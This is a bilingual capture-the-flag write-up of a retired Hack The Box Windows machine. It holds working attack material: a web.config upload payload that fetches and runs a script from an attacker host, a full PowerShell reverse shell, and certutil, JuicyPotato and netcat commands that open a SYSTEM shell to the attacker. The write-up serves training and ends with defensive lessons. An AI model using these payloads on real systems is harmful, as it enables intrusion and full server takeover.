Bounty
Executive summary — Bounty is an Easy Windows box with a very elegant trick: an IIS 7.5 upload form filters
.aspx, but allows uploading aweb.configthat reconfigures the server itself to treat.configas an executable script — and the same file embeds classic ASP code that downloads and launches a reverse shell, giving RCE asmerlin. That service account holdsSeImpersonatePrivilege, so we escalate toSYSTEMby abusing a privileged COM service with JuicyPotato. Path: web.config → RCE → SeImpersonate → JuicyPotato → SYSTEM.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.26.226 |
Attack map
[80] IIS 7.5 → /transfer.aspx (file upload)
│ filters .aspx, but allows uploading web.config → embedded ASP → RCE
▼
[SHELL] bounty\merlin (user.txt)
│ whoami /priv → SeImpersonatePrivilege
▼
[SYSTEM] JuicyPotato (SeImpersonate abuse)
1. Reconnaissance
Full port scan first, service enumeration second: on HTB Easy boxes the attack surface is usually small, and it pays off to rule out the rest quickly.
nmap -p- --min-rate 5000 -T4 10.129.26.226
nmap -p 80 -sC -sV 10.129.26.226
80/tcp open http Microsoft IIS httpd 7.5
A single open port: 80/HTTP, served by IIS 7.5 with an ASP.NET backend. Confirms Windows, and that the entry point has to be the web application.
Resumen ejecutivo — Bounty es una Windows Easy con un truco muy elegante: un formulario de subida en IIS 7.5 filtra
.aspx, pero permite subir unweb.configque reconfigura el propio servidor para tratar.configcomo script ejecutable — y dentro del mismo fichero se embebe código ASP clásico que descarga y lanza una reverse shell, dando RCE comomerlin. Esa cuenta de servicio tieneSeImpersonatePrivilege, así que se escala aSYSTEMabusando de un servicio COM privilegiado con JuicyPotato. Recorrido: web.config → RCE → SeImpersonate → JuicyPotato → SYSTEM.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.26.226 |
Mapa del ataque
[80] IIS 7.5 → /transfer.aspx (subida de ficheros)
│ filtra .aspx, pero permite subir web.config → ASP embebido → RCE
▼
[SHELL] bounty\merlin (user.txt)
│ whoami /priv → SeImpersonatePrivilege
▼
[SYSTEM] JuicyPotato (abuso de SeImpersonate)
1. Reconocimiento
Escaneo completo de puertos primero, servicios después: en máquinas Easy de HTB casi siempre la superficie de ataque es pequeña y conviene descartar rápido lo que no hay.
nmap -p- --min-rate 5000 -T4 10.129.26.226
nmap -p 80 -sC -sV 10.129.26.226
80/tcp open http Microsoft IIS httpd 7.5
Un único puerto abierto: 80/HTTP, servido por IIS 7.5 con backend ASP.NET. Confirma que es Windows y que el punto de entrada tiene que ser, necesariamente, la aplicación web.
2. Web enumeration
gobuster dir -u http://10.129.26.226 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx
/transfer.aspx
/UploadedFiles/
/transfer.aspx is a file upload form and /UploadedFiles/ is the directory where uploaded files land, served directly by IIS. The form filters dangerous extensions: uploading a .aspx file directly is rejected.
3. Upload bypass — the web.config payload
The key idea: even though
.aspxis blocked, nothing stops us from uploading a file namedweb.config. That file is IIS's own native configuration file for the folder it sits in, and the server interprets it the moment it exists — the upload filter never needs to recognize it as "executable".
The uploaded web.config does two things at once. First, under <handlers>, it maps any request for *.config to the asp.dll processor — turning .config files in that folder into executable ASP scripts. Second, under <requestFiltering>, it removes the two default IIS protections that stop web.config from being served directly: it strips it from the blocked extensions list (fileExtensions) and from the hidden segments list (hiddenSegments). Net result: web.config itself becomes requestable and executable, just like an .asp file. Below the XML configuration, it embeds classic ASP in VBScript that uses WScript.Shell to spawn PowerShell and download a reverse shell:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write"
preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
Set shell = Server.CreateObject("WScript.Shell")
shell.Run "cmd.exe /c powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8000/shell.ps1')"
%>
4. Reverse shell and triggering RCE
The downloaded reverse shell (shell.ps1) is a pure PowerShell TCP client: it opens a socket to our IP, forwards every command it receives to cmd /c, and sends the output back over the same socket.
$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER_IP>",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (cmd /c $data 2>&1 | Out-String);
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
We serve the script and set up the listener:
python3 -m http.server 8000
nc -lvnp 4444
We upload web.config through /transfer.aspx and trigger execution by simply visiting its path under /UploadedFiles/ — IIS processes it as ASP the moment it receives the request:
http://10.129.26.226/UploadedFiles/web.config
whoami → bounty\merlin
RCE confirmed as the merlin service account.
5. user.txt
user.txtis marked as a hidden file; a plaindirwon't list it —/ais needed to show hidden attributes.
cd C:\Users\merlin\Desktop
dir /a
type user.txt
6. Privilege escalation — SeImpersonate + JuicyPotato
We check the current token's privileges:
whoami /priv
SeImpersonatePrivilege Enabled
What it means:
SeImpersonatePrivilegelets you impersonate the security token of another process that authenticates to us. It's a common privilege on IIS/SQL/etc. service accounts, and practically a guaranteed path toSYSTEMvia the *Potato exploit family. JuicyPotato tricks a privileged COM service (running asSYSTEM) into authenticating to a local listener we control, then steals that token to launch an arbitrary process with it. Success depends on context — in particular, IIS running in 32-bit mode, as it does on this box.
We download the tools on Kali and serve them:
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
wget https://github.com/int0x33/nc.exe/raw/master/nc.exe
python3 -m http.server 8000
We fetch them on the victim with certutil (no PowerShell IEX involved in this step, avoiding unnecessary AMSI exposure):
cd C:\Users\merlin\AppData\Local\Temp
certutil -urlcache -f http://<ATTACKER_IP>:8000/JuicyPotato.exe jp.exe
certutil -urlcache -f http://<ATTACKER_IP>:8000/nc.exe nc.exe
Listener, then run the exploit, spawning cmd.exe with the stolen token so it opens a reverse shell via nc.exe:
nc -lvnp 5555
.\jp.exe -l 5555 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\merlin\AppData\Local\Temp\nc.exe -e cmd.exe <ATTACKER_IP> 5555" -t *
whoami → nt authority\system
7. root.txt
cd C:\Users\Administrator\Desktop
type root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | IIS 7.5 (upload at /transfer.aspx) | Extension filter bypassed by uploading a web.config that reconfigures IIS to execute .config as ASP | RCE as merlin |
| Post-exploitation | Windows (NTFS permissions) | user.txt flagged hidden, doesn't prevent reading it | User flag read |
| PrivEsc | Service account (32-bit IIS) | SeImpersonatePrivilege abused via JuicyPotato (COM hijacking) | SYSTEM |
Lessons learned
- Extension blacklists fail: blocking
.aspxisn't enough ifweb.configcan still be uploaded — it's just as executable as any script once IIS processes it. Use a strict whitelist and validate content, not just the extension. - Don't serve uploaded content from a folder that's both writable and execution-enabled. An uploads directory should deny script execution outright, including the server's own configuration files.
SeImpersonatePrivilegeon a service account is, in practice, a guaranteed escalation path via JuicyPotato/RoguePotato/PrintSpoofer. If the service doesn't need that privilege, revoke it.- JuicyPotato's success depends on context (typically a 32-bit IIS worker process); it's worth confirming the architecture before ruling the technique out.
- Always check
whoami /privright after landing a Windows shell — it saves time versus blindly trying kernel exploits. - A "hidden" file is not a security control:
dir /areveals it effortlessly. Don't rely on filesystem attributes to protect sensitive data.
2. Enumeración web
gobuster dir -u http://10.129.26.226 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx
/transfer.aspx
/UploadedFiles/
/transfer.aspx es un formulario de subida de ficheros y /UploadedFiles/ es el directorio donde aterrizan los ficheros subidos, servido por el propio IIS. El formulario filtra extensiones peligrosas: intentar subir un .aspx directamente es rechazado.
3. Bypass de subida — el payload web.config
La idea clave: aunque
.aspxesté bloqueado, nada impide subir un fichero llamadoweb.config. Ese fichero es el de configuración nativo de IIS para la carpeta donde se coloca, y el propio servidor lo interpreta en cuanto existe — no hace falta que el filtro de subida lo reconozca como "ejecutable".
El web.config subido hace dos cosas a la vez. Primero, en <handlers>, mapea cualquier petición a *.config al procesador asp.dll — es decir, convierte los ficheros .config de esa carpeta en scripts ASP ejecutables. Segundo, en <requestFiltering>, elimina las dos protecciones por defecto de IIS que impiden servir web.config directamente: lo saca de la lista de extensiones bloqueadas (fileExtensions) y de los segmentos ocultos (hiddenSegments). El resultado: el propio web.config pasa a ser accesible y ejecutable como si fuera un .asp. Debajo de la configuración XML se embebe ASP clásico en VBScript que usa WScript.Shell para lanzar PowerShell y descargar una reverse shell:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write"
preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
Set shell = Server.CreateObject("WScript.Shell")
shell.Run "cmd.exe /c powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8000/shell.ps1')"
%>
4. Reverse shell y disparo del RCE
La reverse shell que se descarga (shell.ps1) es un cliente TCP en PowerShell puro: abre socket contra nuestra IP, reenvía cada comando recibido a cmd /c y devuelve la salida por el mismo socket.
$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER_IP>",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (cmd /c $data 2>&1 | Out-String);
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
Servimos el script y ponemos el listener:
python3 -m http.server 8000
nc -lvnp 4444
Subimos el web.config por /transfer.aspx y disparamos la ejecución simplemente visitando su ruta bajo /UploadedFiles/ — IIS lo procesa como ASP en cuanto recibe la petición:
http://10.129.26.226/UploadedFiles/web.config
whoami → bounty\merlin
RCE confirmado como la cuenta de servicio merlin.
5. user.txt
user.txtestá marcado como fichero oculto; undirnormal no lo lista, hace falta/apara ver atributos ocultos.
cd C:\Users\merlin\Desktop
dir /a
type user.txt
6. Escalada de privilegios — SeImpersonate + JuicyPotato
Comprobamos privilegios del token actual:
whoami /priv
SeImpersonatePrivilege Enabled
Qué significa:
SeImpersonatePrivilegepermite suplantar el token de seguridad de otro proceso que se autentica contra nosotros. Es un privilegio habitual en cuentas de servicio de IIS/SQL/etc. y, prácticamente siempre, sinónimo de escalada garantizada aSYSTEMvía la familia de exploits *Potato. JuicyPotato engaña a un servicio COM privilegiado (que corre comoSYSTEM) para que se autentique contra un listener local nuestro, y roba ese token para lanzar un proceso arbitrario con él. Depende del contexto — en particular de que IIS corra en modo 32-bit, como en esta máquina.
Descargamos las herramientas en Kali y las servimos:
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
wget https://github.com/int0x33/nc.exe/raw/master/nc.exe
python3 -m http.server 8000
Las bajamos en la víctima con certutil (no hay PowerShell IEX de por medio en este paso, así que se evita cualquier AMSI innecesario):
cd C:\Users\merlin\AppData\Local\Temp
certutil -urlcache -f http://<ATTACKER_IP>:8000/JuicyPotato.exe jp.exe
certutil -urlcache -f http://<ATTACKER_IP>:8000/nc.exe nc.exe
Listener y ejecución del exploit, lanzando cmd.exe con el token robado para que abra una reverse shell con nc.exe:
nc -lvnp 5555
.\jp.exe -l 5555 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\merlin\AppData\Local\Temp\nc.exe -e cmd.exe <ATTACKER_IP> 5555" -t *
whoami → nt authority\system
7. root.txt
cd C:\Users\Administrator\Desktop
type root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | IIS 7.5 (subida en /transfer.aspx) | Filtro de extensiones eludido subiendo un web.config que reconfigura IIS para ejecutar .config como ASP | RCE como merlin |
| Post-explotación | Windows (permisos NTFS) | user.txt marcado oculto, no impide la lectura | Lectura de flag de usuario |
| PrivEsc | Cuenta de servicio (IIS 32-bit) | SeImpersonatePrivilege abusado con JuicyPotato (COM hijacking) | SYSTEM |
Lecciones aprendidas
- Las listas negras de extensiones fallan: bloquear
.aspxno basta siweb.configsigue siendo subible — es tan ejecutable como cualquier script una vez IIS lo procesa. Usa lista blanca estricta y valida el contenido, no solo la extensión. - No sirvas contenido subido desde una carpeta con permisos de escritura y ejecución a la vez. Un directorio de uploads debería negar la ejecución de scripts sin excepción, incluidos los ficheros de configuración del propio servidor.
SeImpersonatePrivilegeen una cuenta de servicio equivale, en la práctica, a escalada garantizada vía JuicyPotato/RoguePotato/PrintSpoofer. Si el servicio no necesita ese privilegio, revócalo.- El éxito de JuicyPotato depende del contexto (típicamente requiere un proceso IIS de 32-bit); vale la pena confirmar la arquitectura antes de descartar la técnica.
- Revisa siempre
whoami /privnada más conseguir una shell en Windows — ahorra tiempo frente a probar exploits de kernel a ciegas. - Un fichero "oculto" no es un control de seguridad:
dir /alo revela sin esfuerzo. No confíes en atributos del sistema de ficheros para proteger datos sensibles.